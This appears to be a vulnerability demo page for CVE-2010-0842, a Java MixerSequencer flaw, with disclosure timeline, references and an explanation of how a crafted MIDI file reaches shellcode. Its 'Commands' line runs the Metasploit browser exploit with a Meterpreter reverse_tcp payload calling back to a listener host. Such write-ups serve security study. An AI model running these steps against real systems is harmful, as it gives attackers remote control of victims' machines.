CVE-2010-0842 Java MixerSequencer Vulnerability Metasploit Demo
Timeline :
Vulnerability reported to ZDI by Peter Vreugdenhil
Vulnerability reported to the vendor by ZDI the 2009-12-10
Coordinated public release of the vulnerability the 2010-04-05
Details of the vulnerability and first PoC disclosed the 2010-05-21
Metasploit PoC provided the 2012-02-15
PoC provided by :
Peter Vreugdenhil
juan vazquez
Reference(s) :
CVE-2010-0842
OSVDB-63493
ZDI-10-060
Affected version(s) :
Java 6 before or equal to update 18
Tested on Windows 7 Integral with :
Java 6 Update 18
Internet Explorer 9
Description :
This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability “ebx” points to a fake event in the MIDI file which stores the shellcode. A “jmp ebx” from msvcr71.dll is used to make the exploit reliable over java updates.
Commands :
use exploit/windows/browser/java_mixer_sequencer set SRVHOST 192.168.178.100 SET PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.100 exploit sysinfo getuid
- CVE-2012-1675 Oracle Database TNS Poison 0Day Video Demonstration
- Oracle MySQL InnoDB Bugs 13510739 and 63775 DoS Demo
- CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability Metasploit Demo
- CVE-2012-0500 Oracle Java Web Start Plugin Command Line Argument Injection Metasploit Demo
- CVE-2011-3544 Java Applet Rhino Script Engine Metasploit Demo
- Metasploit Oracle database enumeration (oraenum)
- Metasploit Oracle Database Auxiliary Modules
- Metasploit MySQL Auxiliary Modules
- CVE-2011-0807 : Sun/Oracle GlassFish Server Authenticated Code Execution Metasploit Demo
- Java RMI Server Insecure Default Configuration Java Code Execution